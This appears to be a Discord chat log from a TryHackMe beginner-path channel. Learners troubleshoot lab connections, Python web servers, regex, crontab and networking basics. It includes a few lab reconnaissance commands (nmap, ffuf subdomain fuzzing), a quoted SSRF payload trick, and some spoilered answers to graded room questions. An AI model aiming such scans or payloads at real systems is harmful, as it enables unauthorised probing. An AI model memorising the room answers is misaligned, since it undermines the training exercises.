#pre-security-legacy-path

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stable edge
small spire
stable edge
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That's what I thought; I am not seeing a specific IP to use for this tutorial, unless I am blind.

small spire
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there should be a green start machine button in the top of the task

stable edge
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Oh, so I am still using that, okay. I thought I had a branching option of either using that or my own Linux environ natively. My bad. I was trying to not to strain remote resources. 🙂

small spire
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they don't allow you to run more than three machines at a time sadly,
so no need to worry about that

stable edge
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Hrm, so when I hit the button, it prompts me to either use the AttackBox or set one up via OpenVPN, which I opted to do the latter.

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Sorry, in this example, I show 10.10.100.196 at the top of the web page with AttackBox, so in my own Linux environ, I should be doing: ssh tryhackme@10.10.100.196 - correct?

small spire
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the target machine info will be in "Active Machine Information" (in red)

stable edge
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...I am blind. K, got it. Thank you so much. Whilst being colorblind doesn't help, being half-illiterate didn't help me either. 😄

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=/ It just hangs and eventually times out. Hrm.

stable edge
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I just had to use AttackBox instead and it connected instantly; good 'nough for me.

warm epoch
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It'd be silly to expose intentionally vulnerable machines to the internet, they'd get hacked immediately. That's why we have the THM VPN, it puts you on the network with the target machines so that they don't need to be exposed to the internet

stable edge
stable edge
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I will double-check to see if I am doing something wrong.

snow scroll
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Hello, I am in the Network Services Room - Task 7 Exploiting Telnet. when I connect to telnet with the ip address and port, all i receive is that it connected. I do not get any welcome message. When I looked up walk throughs I see the message that everyone else is getting. I attempted both from Attackbox and from my own linux machine using openvpn. Does anyone have any thoughts or can help if I'm doing something wrong?

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I can provide screenshots of what I see when I do it, im just not sure if thats allowed

rain berryBOT
snow scroll
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Here is what I see from the Attackbox

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Below the escape character is portion there is supposed to be a message there but I dont see it

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okay will try another

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ughh looks like it worked in a new machine, thank you!

lean dawn
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In Linux Fundamentals Part-3, while performing Task 4 - General/Useful Utilities I started python3 HTTP Server server using command python3 -m http.server.

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But in next question I am unable to download file using wget

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Please somebody help me.

tight ingot
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Are you downloading on to to an attackbox terminal and not an ssh terminal?

lean dawn
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I opened attackbox and connect with machine's ip using ssh

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I didn't know that I need to open a new terminal window after starting the server. Issue is resolved. Thank you so much 🙂

somber currentBOT
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runic arch
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In Windows Fundamentals 1, Task 2 - Windows Editions, there is and update stating windows 11 is the current version but doesn't state that windows 2022 server is the current version for servers

rain berryBOT
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daring elk
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Hi!

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I am doing the network services room and got stuck in the task 7 - Exploiting Telnet

daring elk
rain berryBOT
daring elk
daring elk
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not even .EXIT does something

soft snow
# daring elk not even .EXIT does something

2 Things, it seems you are using your public IP, which the target machine can't reach as well as you might won't share here.
Also you have not issued the -c 1 flag for the ping command, so the machine is busy with sending pings, thus it seems you can't issue any other commands.

daring elk
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Thank you very much!! Today after work I'll try this

hollow token
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hey

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can I learn python with tryhackme?

potent wedge
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but if you want more in depth programming knowledge with python you should check the #programming channel and its pins

spare hare
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!docs url

rain berryBOT
spare hare
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i am verified

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!notifyme

rain berryBOT
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Ok @spare hare, you will now be notified of future announcements.

spare hare
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thanks

rain berryBOT
lyric parcel
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Hi there, I was wondering if anyone can help me with the Linux FUndamentals 3 under General/Useful Utilities Task where it is asked to start the web server with python and download the given file. I have been trying for a long time but in vain. For me , the server is not starting at all. Thank you very much

normal aspen
bleak shard
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Which server?. on vpn/attackbox Python3 -m http.server 9000 is the common command change 9000 to what ever port you want expect for 80 and 8080

tight ingot
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There is a few others you can't use on the attackbox.

marsh veldt
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!docs levels

rain berryBOT
hexed wren
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Hello! I'm in the same boat as Divya from a couple days ago. Linux Fund 3, Task 4. I entered the command to launch the HTTPServer and nothing happens. Am I supposed to log into another terminal to continue downloading or is there a step I am missing?

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Tried it in the tryhackme account too:

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Any help is appreciated.

hexed wren
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For anyone else looking for help on the above task, here is the answer: Open another terminal to download the file.

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Case closed. Thanks zood for your help!

misty mulch
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Hey, in the same task I can't ssh into te linux machine, is this normal ?

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Oh my bad I was not connected on the vpn

haughty peak
haughty peak
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Setup python server in machine where you want to download files from, wget from the machine where you want your files.

barren surge
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ive almost finished the pre-security path and im wondering what i should o after (im interested in pentesting)

granite oriole
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Oh so….the AttackBox, you only get an hour per day, so is there thingy where I can download Linux and just follow along with the questions and stuff and the commands?

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Or do I have to use the AttackBox or subscribe?

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Cause the YouTube video also seems to have the answers as well.

granite oriole
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Oh thank you.

somber currentBOT
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granite oriole
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That Torrent button scares me though.

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I thought torrenting something was swiping it for free, don’t wanna get in trouble with my ISP.

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Hey that rhymes.

granite oriole
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Thank you.

somber currentBOT
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obsidian vector
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Hii, i am İrem, 2nd grade student at Computer Engineering. I am into CyberSecurity and still trying to find good sources and open to advices about how to start my CyberSecurity journey As a start point, I studied Linux basics that CyberSecurity Specialists should know, my next step is learning Windows commands and I would be more than happy if you would like to join me.

ebon talon
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Finally, I've completed this path.coolguy

static mango
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I'm almost done with the path. I've found I'm not really taking on the Linux fundamentals portion. Any advise on other things to do to embed it in to memory more? Or just repeat it a bit

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I have an Ubuntu terminal I've played around with a bit in the past on my pc

last schooner
potent wedge
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doubt most people have used all the tools that kali linux provides

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but it is a good base for it most likely have all the tools you need for the job

last schooner
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I don't understand your question exactly but this channel is designed especially for the pre security pathway as it's name implies, you would have more luck with somebody answering your question in the #infosec-general channel

static mango
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¯\_(ツ)_/¯

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I guess I should probably focus on just progressing as the concepts and what I'm actually using commands and syntax for makes perfect sense

potent wedge
granite oriole
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Notability is great.

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I took notes on the Linux fundamentals thing.

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But Notability requires a yearly subscription now I think.

static mango
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I had a brainlet moment not being able to get the apache logs for the task 8 of linux fundamentals 3. Turns out I just wasn't sshing into the machine from the attackbox since it's been a few days since I was on this task 😳

potent wedge
granite oriole
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timber dock
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Question on linux3 - crontabs
It asks for the crontab schedule but when I list the contents for the user I get only an 'reboot' entry, which is incorrect.
Am I doing something wrong? I tried sudo to get a listing for root and that security incident will be reported (again) NotLikeThis

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ah wait I need to add a character ...

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thanks @trail flame I did not need to click you spoiler 👍 ; just mentioning it was correct did the trick
The answers are super sensitive to exact entry

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potent wedge
timber dock
potent wedge
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yeah

cerulean sequoia
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Hey Guys. So, I don't have any Networking+ or Security+ Experience, but I do have some programming experience (C/C++). My plan is to follow the Pre Security Path, then Jr. Penetration Test and then the Offensive Pentesting (this one would be more me haha).
Is this a good plan or should I do something in between, etc...?

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Ah, and I intend to learn some Python along the way, although I love C++ haha

normal aspen
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Recommend to learn all those simple terms that related to cybersecurity before jumping into the actual task

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cuz u will see some new words

cerulean sequoia
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Yes, I am.
And yes, googling is really a valuable skill.

Alright then, thank you both for your inputs.
And Aries - sure. The moment I see any new word I stop and go google it, making sure I know what it really means. Sometimes this takes several hours.

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This happened yesterday when I read about Active Directory. It is an advanced topic, yes, but I just couldn't help it. It turned out I already had an idea about it, but not in that context haha

normal aspen
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i sometimes get distracted by googling and get nothing done to my current task

cerulean sequoia
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Yeah, good point. It happens to me too. Something I have to work on as well :/

hollow fiber
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I'm stuck at step 3) hack the bank. The Stuck video doesn't play. "no video supported format..."

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Any suggestions?

tight ingot
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Can you share the link, I can never find the room.

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Or tell me the task

hollow fiber
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I figured it out after an hour. ugh. nothing is intuitive to me. Thanks!

hexed wren
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Aloha everyone. Need help in the regex section. For this question:
Match all of the following filenames: File1, File2, file3, file4, file5, File7, file9

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my answer was wrong when I submitted it: (File[127])|(file[3-59])

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can someone tell me whats wrong? I put my answer in regexr.com and it worked.

tight ingot
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Task 2?

hexed wren
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yes task 2

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Charsets

tight ingot
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Q4?

hexed wren
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yes

tight ingot
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This one is tricky.

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You need to get both cases of f.

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then the rest of the name and the number.

marsh veldt
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@zoob can you use case-insensitivity on that task?

hexed wren
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so I don't need to use 2 ranges?

tight ingot
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No, just one.

marsh veldt
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sorry, i'm good with regex but not on that part of the path yet

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backs away slowly

hexed wren
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I'm not sure how to NOT use 2 ranges if File and file need to be used

tight ingot
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||[Ff]ile[1-9]||

||[fF] - for both cases.||
||ile - for the rest of file||
||[1-9] for the numbered range||

hexed wren
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oh dear

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I see

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let me try that

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I'll get back to you @tight ingot

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Thank you @tight ingot I appreciate your quick response and help snorlax

somber currentBOT
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tight ingot
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RedZoop No problem!

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Happy hacking.

marsh veldt
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Hi, I just started with Pre-Security. On the Hack the bank. twice it shows Stuck? see video, but there are no videos. Please help

marsh veldt
somber currentBOT
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marsh veldt
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Bro, someone else has written the same thing, there is no video on that page

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@trail flame I am using Mozilla Firefox but if needed I can use Chrome

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Hi, I am able to solve that Fakebank challenge. Hooray!!!

marsh veldt
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@trail flame I tried Chrome and was able to watch the video. It helped. Now, I am working on the next challenge. Thanks for interacting. May I ask at what level or path you are at?

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marsh veldt
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Awesome! Congratulations then. Can I DM you?

marsh veldt
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Now, got stuck at the question for "Practical Examples of Defensive Security". This is in Pre-Security. Anyone please help

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Please help. I have tried my best to find the Flag on this page and even the site mentioned on this page. Thanks

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I have opened that site and moved along the three tabs but I could not find the flag

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When I tried to move on to other tabs that is the message I get

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still no success

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Every answer that I have supplied is wrong

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This is where I am stuck. I could not find the flag

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I have read the whole topic and even visited the site mentioned on this page in Green. But no flag found. Every answer is false

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Yes I have done that too

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It will be better if you can send image where I need to click to find the flag. please

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Here it needs the answer

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Otherwise, my progress will be stuck at 80%

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Well done! Much thanks.

somber currentBOT
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marsh veldt
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Yay! Just finished this pathway 🙂 I started last night as I recall... it was a good intro, for sure! Looking forward to the next one 😄

lilac seal
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hi

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any one done or doing web application security and can answer this question

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What do you need to access a web application?

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I think I know the answer but this tryhackme was built using precise answer if you add one letter it won't accept

marsh veldt
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@hard zephyr Thanks 🙂 I shall

somber currentBOT
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lilac seal
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internet or web browser

tight ingot
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Both answers are wrong.

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If you look at the number of * that will give you a hint of the size and format of the answer.

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So you can rule out "Web browser"

Although, that's not too far off the answer.

lilac seal
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thanks

tight ingot
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Answer tolerance is present for THM also.

lament aurora
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how do one retrieve a ping message or one sent using DOS without browser interactio? is it possible?

warm epoch
lament aurora
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well when one recieves a message which is not sent on the normal channel of browser interface but on the black screen it must be a Dos command line message or a cmp sent through a ping command using the command line.

lament aurora
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well those who are pro's can prove you wrong. i'm correct and i believe its over dedicated VPN link.

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have you done CCNA?

tight ingot
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Oh. My. Word.

warm epoch
lament aurora
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well if you are then i believe you know hat i'm talking about. Why deny that what i'm asking is wrong.I can admitt that i'm still on the learning curve i don't know everything but i must have been scammed into openning a doorway that should have been left closed.

warm epoch
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-ban @lament aurora Non stop trolling, or just plain stupidity. You were asked to stop, and you carried on spouting nonsense.

somber currentBOT
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🔨 Banned TwilHe#7803 indefinitely

warm epoch
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Don't do drugs, kids.

tight ingot
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i'm still on the learning curve i don't know everything

Yet argued they were right 😂

potent wedge
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welp that is another one

lost matrix
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Which room did they have trouble with on the learning path?

lost matrix
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I'm glad to hear that.

pine zenith
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I just peeped into this channel snooping and saw some confusing material xD. Ggs mods! you were there when we needed you lmfao

wanton iris
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hi guys

timber dock
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What is the name of the service that lists Systems Internals as the manufacturer?

The phrasing there really threw me off for a good 10 mins. I interpreted that as something in the tools tab like msinfo32 providing information 'such as' the manufacturer of devices. Rechecking my typing multiple times, with and without extension, pff 😂

Wow, reading the question properly is a challenge in itself...

soft zodiac
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Hello

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Can someone help me with I have a question over "the intro to lan"

tight ingot
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What's the Q?

soft zodiac
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It's about the arp and dhcp protocol

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The arp is suposed to link a address ip with a mac addres is that it ?

tight ingot
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Arp request will look for the IP yes, then when someone responds, it will start to use it's MAC.

soft zodiac
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Ok so dhcp gives the ip address to the new material and then arp is used ?

soft zodiac
tight ingot
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It can still be done.

soft zodiac
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Okay

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And dhcp gives the ip and arp identifies the material in the network

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is that it ?

soft zodiac
somber currentBOT
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soft zodiac
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But maybe one day !

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Thanks you it really helped me :)

hexed wren
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Hola everyone. Looking for help again. In the Regular Expressions module, Task 4, Question 4.
Match all of the following filenames: ab0001, bb0000, abc1000, cba0110, c0000 (don't use a metacharacter).

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I tried this and it worked on the regexr . com site: [abc]|[0-1]

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but that is not the answer on TryHackMe

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any ideas?

normal aspen
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yours is right in general but not for the room

hexed wren
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I understand that, that's why I'm here. I've tried other ways already

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If you don't know the answer, then pls don't respond. You're not helping by telling me something I already know.

soft snow
willow girder
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Hello

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Does anybody knows any good detailed explanation of networking basics

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Yt videos I mean

hexed wren
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@trail flame @soft snow I don't appreciate the passive/aggressive behavior and ultimately, I don't appreciate answers that state the obvious--that does not help whatsoever. You have to understand I'm new to this, trying my best to learn and it is very intimidating to come here to this forum and ask for help, knowing that I will most likely get a snarky, smart-alek answer for just asking for help. Clearly, that's what I got. It is not motivating or inspiring.

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@normal aspen sorry if I came off rude, I just don't think stating the obvious is helpful.

warm epoch
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@hexed wren Please talk a short break from the discord, everyone is a volunteer and no one owes you answers.
Giving you the correct answers for the room would be cheating which is explicitly against the rules.

lost matrix
halcyon fiber
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Hi all,

I need some guidance please suggest me

Wanted to know how one can get into cybersecurity currently working as a desktop support engineer

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Thank you will check now

hasty salmon
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linuxfundamentalspart1, task 2 says "Thanks to UNIX being open-source" - this trips me up. Is this an accident, i.e. it should read LINUX or is this just to simplify the Unix history? AFAIUI, Unix became only OSS with the introduction of BSD (or at least with the POSIX standard and if your OS implemented that standard and was OSS, you got a OSS UNIX). Am I overly pedantic here?

potent wedge
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hmmmm

modest anchor
smoky fable
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Is there any Module/Plan that helps with learning netstat ?

spare kettle
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Hello, I'm currently trying to get through the room in Defensive Security. I am supposed to "Inspect the alerts in your SIEM dashboard. Find the malicious IP address from the alerts, make a note of it, and then click on the alert to proceed." I find the alert with the malicious IP address (it literally goes red when you hover over it) copy it, and then move on to the next page where you are supposed to enter the IP address into a search engine to check its reputation. But when I paste the IP address it tells me that its an invalid IP address. I literally copy pasted it, though. Any idea what might be wrong?

tight ingot
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Try typing it manually.

latent quest
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Im currently on Linux Fundamentals Part 2, The Attack box is working fine but the task 2 machine wont boot up?

warm epoch
latent quest
pseudo rune
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hi i just started THM today, with this pathway. I read up on OpenVPN/Kali Machine and am super confused, am I supposed to have it on this early or is it for rooms? Sorry for the dumb question, and thank you in advance :)

normal aspen
pseudo rune
normal aspen
pseudo rune
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ah okay thank you ☺️

ruby bobcat
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Maybe just me, but having an issue in Linux Fundamentals 3.

In Task 4, it says to use Python3's HTTP Server to start a web server in the home directory of "tryhackme" user.
Then to use wget to download the flag.txt file. But I keep getting a 404. Pretty sure I'm in the right directory and using the right syntax so I'm not sure what's going on.

When I pwd in tryhackme@linux3, I'm here for the webserver:
/home

The webserver starts fine. Here's the wget syntax I'm using:
wget http://THM_IP:8000/.flag.txt

Like I said, keep getting a 404 file not found. Any ideas?

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That's what I thought, but I got the same errors while in /home/tryhackme

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Yeah it's there when I use that flag, but still getting a 404 file not found

rain berryBOT
plush snow
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hi everyone for some reason in the Network Security path whenever ever i type in the password to the root account it keeps denying me

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neverminded it did it self??? lol

marsh veldt
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Hello hackers, for each room, there are some modules that are behind a paywall. Wanted to know if the community here has generally subscribed to the premium or is it okay to just navigate past them on to the next room?

tight ingot
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The premium subscription Is great, its worth the money, to learn lots of new stuff, annually it's cheaper than Netflix.

warm epoch
marsh veldt
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Thanks so much. I'll keep that in mind.

long otter
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Hi,
in telnet enumeration i want to run a nmap to check open ports and services but i dont remember how to...
nmap ......missing info.......<ip>

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i found an tried :
nmap -p- <ip>
it's just too slow

brazen coyote
# long otter i found an tried : nmap -p- <ip> it's just too slow

Because -p- means you asked nmap to scan all >60000 ports, if it is necessary to do so I usually do it with -vv and go to for a cup of coffee, although I slightly remember most of the rooms here can fulfilled by scanning most common 1000 ports only with default setting

scarlet siren
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hello, i need help .. i want to know how i can do this : Log into Sophie's account with your new password and retrieve a flag from Sophie's desktop. --- it is task 4 in Active directory basics

scarlet siren
thick moat
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What step have you done already for that task? Were you able to reset sohpie's passowrd? if yes, have you RDP to the target machine?

wanton knoll
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@rain berry gg easy

sudden lynx
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hi

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i joined today to thm

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so what is the best optionsn to chooser

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choose

potent wedge
# sudden lynx choose

well start with doing some of the pre-security path and then you can continue down the paths in this order:
#pre-security-legacy-path 
#974406074444685322 
#junior-pentester-path 
#pentest-plus-path
#web-fundamentals-path 
#offensive-pentesting-path 
#red-teaming-path 
#791764435991658556
though some of the rooms on the paths are subscriber only but if you can afford a netflix subscription you can certainly afford a tryhackme subscription... also bonus points being you will learn a lot about computers with tryhackme.... and how to protect your computer

cunning bluff
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Hi, could someone give me a hint for the cron section of linux fundamentals 3?
ive opened crontab and Im not seing any dates or times given, but I am seeing @ reboot and a script

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Im not sure what to do next?

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actually nevermind i solved it

potent wedge
cunning bluff
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it was literally right in front of me I overthought it lol

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thanks tho

thin river
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Anyone having trouble getting the deployable machine to work during the linux fundmentals?

thin river
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I’m on linux fundemntals part 2 and task 2 i’m am told to click on the green button that says “start machine” I wait awhile nothing comes up but I see the active machine information section pop up

soft snow
cloud niche
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Hi all, I need a little help, is anyone available to help me figure this out?

glad bison
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what is your question 5n 🙂

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you're more likely to get responses if you describe your problem / question directly

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@cloud niche

cloud niche
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@glad bison I'm having an issue with the Linux fundamentals part 3 room, on task4 when I initiate the python server nothing happens and the command prompt just hangs, I'm really confused

glad bison
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can you verify and send a screenshot?

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!docs verify

rain berryBOT
cloud niche
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@glad bison that's done now, how to I send the screenshot? Via dm?

glad bison
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just post it here

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thats why you needed to verify. You cant post images unverified

cloud niche
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Oh ok give me a second to get this sorted out and thanks for helping.

glad bison
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sure, tyt

potent wedge
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$ python3 -m http.server          
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

guess this is what you are seeing??? if it is that means you should open another terminal window to run the wget command in

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it has not hanged it is running the web server

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to kill the web server you either close that terminal window( which will give a popup about it being run asking to be closed) or hit ctrl + C

cloud niche
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that is exactly the issue, can you tell I'm a complete noob when it comes to Linux? thank you @potent wedge and @glad bison it's so amazing to know people like you two are around to help when I need it.

somber currentBOT
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glad bison
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super 🙂 and don't worry about being a 'noob'. Everyone starts from zero!

cloud niche
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👍

marsh veldt
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in the linux fundementals it doesnt say where we're supposed to start

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nvm i just looked at the video

potent wedge
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marsh veldt
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@vague horizon Hello, I updated my name on the website because I misspelled it so could you update my Pre-security certificate, please?

tight ingot
marsh veldt
marsh veldt
tight ingot
marsh veldt
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what about other cert?, will the name be changed ?

tight ingot
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If you change it before, yes.

marsh veldt
somber currentBOT
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warm field
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Hey shadow, yesterday you said these learning paths are not updated and you got other paths, where are they?

warm epoch
potent wedge
warm field
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oh, so the pre security is alright?

potent wedge
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yuups

warm field
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ok ty

potent wedge
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no problem

quick glade
potent wedge
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you can see them with ls -lah

quick glade
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Ohh not that yet.
When I try the wget command, i see the error message "404 file not found"

potent wedge
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could you show your entire wget command????

quick glade
potent wedge
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could shadow get a screenshot of both terminal windows... the one you are running python webserver on and the wget one

quick glade
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I can send it here, yeah?

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Or could I message shadow privately?

potent wedge
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yeah send it here

quick glade
potent wedge
# quick glade

the error is because the file is not in the /tmp folder

quick glade
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potent wedge
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yeah start it in tryhackme home dir.... the shortcut to cd there would be cd

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or cd /home/tryhackme

quick glade
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It worked!
Thanks once again.
The screenshots showed the tmp directory, so i thought i was to use that lol.

potent wedge
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yeah generally the tmp directory is more useful for the reverse situation where you are uploading files/exploits

quick glade
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That makes sense.

cold epoch
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Hi guys

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In this example, the attacker can control the server's subdomain to which the request is made. Take note of the payload ending in &x= being used to stop the remaining path from being appended to the end of the attacker's URL and instead turns it into a parameter (?x=) on the query string
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why does &x= omit the rest of the url

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Its from the SSRF room

cursive bone
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I got RickedRolled. 😂 nice tryhackme. nice. classic. 😂 😂

lofty imp
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hello guys

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anyone finding it kinda complex to understand windows
and thinks that linux is easier or its just me !!

potent wedge
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linux is easy peasy compared to the mental loops of windows

raven iris
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Hey , could anyone direct me to a security + practice test thats free ??

tranquil pewter
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Hey guys, I've recently started on this path. However, I've read a lot of messages here that suggest that tryhackme on its own is not enough to get into cyber security. I'm trying to do go through the paths while working full time as a software engineer, if I don't have enough time to do any more learning beyond this, is going through the paths alone a waste of time if I'm unlikely to find a job in the field?

normal aspen
# tranquil pewter Hey guys, I've recently started on this path. However, I've read a lot of messag...

if u are already in the IT field, I don't think switching into security is not too hard, but I want to say there is no such thing as one thing fits all. Tryhackme is like an entry for security and even if u do most of the rooms in Tryhackme and don't do any other research by your own, you can't progress further. Also there are many more platform and resource to study from and most of them are free as well. Googling and self research are the best thing u could do to progress.

tranquil pewter
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true pike
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Hello everyone i am beginner and i started this path way so if anyone would like to mentor and help it would be great!

slim oak
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Hello, have fun digging into the topic 🙂 If you encounter a problem, try to understand and solve it. If you can't, just ask 🙂

true pike
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@slim oak thanks

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white lantern
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Hi, i'm learning about packets and frames. My current understanding of it is as follows:
I have some information (data) i want to send to someone so i write it down on a piece of paper (the frame), but i don't send the piece of paper itself through the mail, I put the paper in an envelope (packet) that has the address of the receiver (IP address) on it and then i send that through the mail.
Did i understand the differences between packets and frames correctly?

crude salmon
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...

white lantern
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i dont know what you mean by "local office", but your analogy seems to be the same as mine just shifted over - instead of considering the letters themselves to be the data you consider the whole page to be the data instead
eh, potato - potato
judging by the order of events - frame first and then packet, i think its safe to say i understood it correctly

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thx for confirmation

crude salmon
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Sorry, let me re write it. The frame is always used first.

If the Data is being sent over the internet it will need to know how to get from your network card in the computer, to the router, this initial addressing information is called Frame and only includes information on how to get to your router.
Once your router (local office) receives the package, this initial frame is not necessary anymore, so it is discarded.

Now the router proceeds to read the packet information to read where should it send it next

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Frame - Packet - Data

white lantern
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oh so the packet goes inside of the frame then

white lantern
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white lantern
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the Packets & Frames room is a bit confusing in that regard

crude salmon
white lantern
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im confused again - i am in the Extending Your Network room

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covering switches when it says:

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"Take, for example, a layer 2 switch in the diagram below. These switches will forward frames (remember these are no longer packets as the IP protocol has been stripped) onto the connected devices using their MAC address."

white lantern
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so how could there be a frame by the time it arrives to the receiver for the layer 2 switch to use?

crude salmon
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The frame is stripped and a new one is added

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Sorry for the late reply, hope this illustrates it a bit better. The frame will help the packet jump from device to device.

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The frame will always point to the next adjacent device, it will change from (Router to Switch) to (Switch to PC1) while the packet always has the same final destination IP (PC1)

white lantern
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ah

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and when the new frame is added the mac address of receiver can be derived by IP, right?

white lantern
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crude salmon
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Correct, the switch knows that to get to PC1
IP 1.1.1.2
the receiver address has to be 00:00:00:55

marsh veldt
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Shows you the enscapulation process and the de enscapulation process

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You can also watch practical networking on YouTube

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He has a playlist with a lot of good videos

signal lava
# crude salmon Frame - Packet - Data

But in the Packet and frames section they are clearly saying the opposite @white lantern @crude salmon
So the frame is within the packet and not the opposite

soft snow
wraith lion
white lantern
covert thorn
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Hi. I need help with a question

tight ingot
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Just state your question.

You'll get an answer faster.

covert thorn
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What is the flag that you obtained by following along? this question is from the course tryhackme

tight ingot
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There is a bunch of rooms with that sort of format.

Please state the room and task number.

covert thorn
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oh okay

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thanks

round willow
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earlier I made THM account by clicking the Google... OAuth2... OpenID thingy, and I could do Intro to Defensive Security for free
but afterwards I realised maybe I would like a personalized username, so I got rid of that account to make this one, but Intro to Defensive Security is now paywalled....
....weird 🤔

tight ingot
round willow
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worldly marsh
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Linux Fundamentals Part 1 - Task 6. There's a link to /room/thefindcommand but the room is set to private, anybody able to suggest a good alternative? 🙂

worthy gate
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Let me check

tight ingot
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It's private because it's old.

worthy gate
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It's also set to private for me as well.

tight ingot
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It's deprecated.

worthy gate
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Looks like they changed the perms for everyone...and may be updating it.

tight ingot
worldly marsh
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Okie doke! I'll skip over it for now, thanks for the replies all

static river
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hey, so i am a newbie and on the lower pathways but am stuck in Subdomain Enumeration task 6. I have tried numerous times to get it to work. any help would be appreciated.

static river
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On the task it states to use this ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP todiscover new domain then add -fs {size} where size is the most frequent number shown. This command is supposed to reveal something "new" that wasn't there before. I get the same output and nothing new. I am assuming I'm putting the commands in incorrectly because I haven't run into this before.

tight ingot
static river
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Yeah I'm in the machine. Sorry.

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This is in the cmd line portion.

tight ingot
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Does it give you an error?

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You can verify to help with screenshots

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!docs verify

rain berryBOT
static river
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I get one error. Just not on rriggt now

static river
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ok when i put the command in, no matter what number i put in for size i get.....Encountered error(s): 1 errors occured.
* Size filter or matcher (-fs / -ms): invalid value: {42}

haughty peak
static river
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When you add the -fs {size} to the command line from above... when you change size out for an integer of any kind, get the error

static river
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see, as i stated, its probably the way i was putting in the code. Ill try that and see how it goes, thanks

static river
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Ok so no errors but no answers

static river
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Thanks for any help that's been given, I finished.

worthy gate
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Hello everyone

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Task 6 - I am not able to find the crontab time it is asking for..

tight ingot
worthy gate
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I have finally completed it. It was late last night and I was looking into things too deeply.

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lol

glass oxide
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Man I thought I knew Linux before. But the Linux fundamentals made me feel new lol

warm epoch
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@wheat axle don't just post answers. No one learns from that.

tardy needle
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I have a question about the first task where you have to use command "-u http://fakebank.com -w wordlist.txt dir".

I don't quite get what the -w wordlist.txt dir" should achieve. If I understand correctly it should display everything that was found on the page in a txt file, right?

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So i could use "randomname.txt" instead?

tight ingot
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You need to use certain wordlist as it will contain the page you're looking for.

"Randomname.txt" probably won't have it

But wordlist.txt will have it since it was written specifically for that room.

tardy needle
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So how would you approach doing the same thing in a real-world scenario?

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I might be looking too deeply into it 🙃

tight ingot
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Use a wordlist that you think will work.

tardy needle
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I think I understand

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Or I will when I complete a few more rooms

tight ingot
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Yeah, there is a few that is built around enumerat and brute forcing directories.

pale pawn
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Hi all, I have a question for the Windows fundamentals 1 task 6.
Last question I have to answer "What are the account status"..

And for whatever reason I cant find anything called account status in the room nor on google. Anyone who can point me in the right direction?

last schooner
pale pawn
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After a lot of reading back and forth I found out what it was.. I feel like I misunderstood the question a lot. 😄 Thank you 🙂

last schooner
obtuse nebula
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Hi, I have an issue on Linux Fundamentals Part 2, when I try to type the password : tryhackme it said permission denied, please try again. anyone can help me out?

last schooner
obtuse nebula
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mac

last schooner
# obtuse nebula mac

???? i said what command are you using to ssh into the machine not what operating system 🙂

obtuse nebula
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I mean macos monterey

last schooner
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I think you don't understand this right, you are stuck at task 2 from the linux fundamentals 2 room right?

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If so, the tasks ask you to connect to the rooms machine via SSH, which is a connection method, and if you follow the steps right there shouldn't be any problems, the task is kind of straight forward

warm epoch
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We can't see your screen or read your mind so we need to know what you're doing

marsh veldt
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Do I have to learn all of the network topologies?

round willow
potent wedge
# marsh veldt Do I have to learn all of the network topologies?

the same question could be asked about the multiplication table.... the answer is no you do not have to learn all of it.... though knowing it by heart will help a lot in any IT related field... you could also try learning the osi model to make you better at troubleshooting network problems

eager bough
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👍

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raw lark
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my pc is hacked by someone. what should i do?

raw lark
willow bronze
willow bronze
raw lark
willow bronze
# raw lark i am not sure

Then why are you worried anyway ?? Just be aware of your actions on the internet and use some security precautions

raw lark
willow bronze
raw lark
willow bronze
raw lark
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ok i am going to general

willow bronze
raw lark
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great

marsh veldt
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ok i'm stuck if anyone is on. I'm on windows fund 3 and the answer should be public profile but it says its wrong for firewalls and the WINFUN2 V1.0 keeps reconnecting every 15s

marsh veldt
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?

untold scarab
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If you mean Task 5, the answer would be || Public Network, not Public profile||

devout aurora
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Hi. I am doing Linux Fundamentals part 3, task 8 and I have a problem in finding the folder Apache2 they say.
apache2 does not appear in the folder /var/log in the Linex machine given by the page

soft snow
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Might want to provide a screenshots of that, you will have to verify first in order to be able to send screenshots

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!docs verify

rain berryBOT
weak stirrup
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Hello everyone, I am working on the Pre security sections and I have a question about "How websites work" Task 4: Sensitive Data Exposure

When I type in a random user/pass and get the error message, it recommends that I click on the hyperlink to see the source code (and as a result the password), or use CTRL+U. If I use CTRL+U I am unable to find the same text that is provided in the hyper link, any idea why that is? I used the search feature and to no avail

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Hmm, the guide video never bothered to inspect, they just clicked the hyperlink

weak stirrup
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When ever I inspect the page, I cannot find any of the info I get from clicking that hyperlink (the window there is what it brings up)

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So I am assuming it means that there really was no "bad, client side accessible" code on the real page, right?

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oh, yea. I was able to get the answer using that, what I meant is, using the other option they recommend (Pressing CTL+U to bring up the source code) its not there

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ahhh, view FRAME source, ty

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I can do it, thanks again!

frail stone
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had a good laugh about layer 0 in the osi module

royal cave
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Hi everyone !

I got a newbie linux question, what is the difference between using “&&” vs “ ; “ in command line ?

Thx ❤️

untold scarab
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With ; you can run two commands, with && you basically can do the same BUT the conditions each needs to be successful

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$ true && echo "This will work"

will print "This will work"

vs.

$ false && echo "This wont work"

will print nothing.

On the other hand:

$ false ; echo "This will work"

will print "This will work" since they are not "connected" to each other in any way unlike with && or ||

royal cave
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Crystal clear !
A million thanks @untold scarab

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untold scarab
lilac cloak
devout aurora
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!docs verify

rain berryBOT
soft snow
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-undelete -a

marsh veldt
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I COMPLETED MY PRE SEC PATH TODAY

valid pebble
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Jus a quick question guys, would it be possible/reasonable to pursue (Which I am already) a 100day Python course as well as TryHackMe together? What’s your thoughts, I want to hear it.

untold scarab
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tryhackme itself has 2(?) pythonrooms, that specify on cyber sec usage - might wanna check em out

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oops, god knows where that sticker came from KEKW

valid pebble
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I’m aware but I’ve already started both. I am quite confused on the next steps.

untold scarab
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I assume regarding the 100 day you mean the course by Angela Yu?

valid pebble
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Yeah

untold scarab
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Its not a bad one, but I don't think its too useful regarding Cyber Sec since it focuses much more on other usecases of python. If you still struggle with basics and would like to get a "bigger" view - I definitly can only recommend it. If you don't know how to use python regarding cyber sec, I think there are other ways to learn it.

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But at the end of the day: Nobody can tell you what to do - the choice is yours :p

valid pebble
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Reason of question is because at times it is quite overwhelming to do both congruently, even the thought of it is

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But, I do think it will help doing both without a doubt that’s why I’m continuing

untold scarab
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If I recall correctly, all python "days" are between 60 and 90 minutes

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if you have the time each day without burning yourself out (taking into account that you also do tryhackme) then do it

valid pebble
untold scarab
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yea looks like it

valid pebble
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I’m assuming that’s the same Python course ?

untold scarab
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100 Days of Code: The Complete Python Pro Bootcamp for 2023 - by Angela Yu on Udemy yea

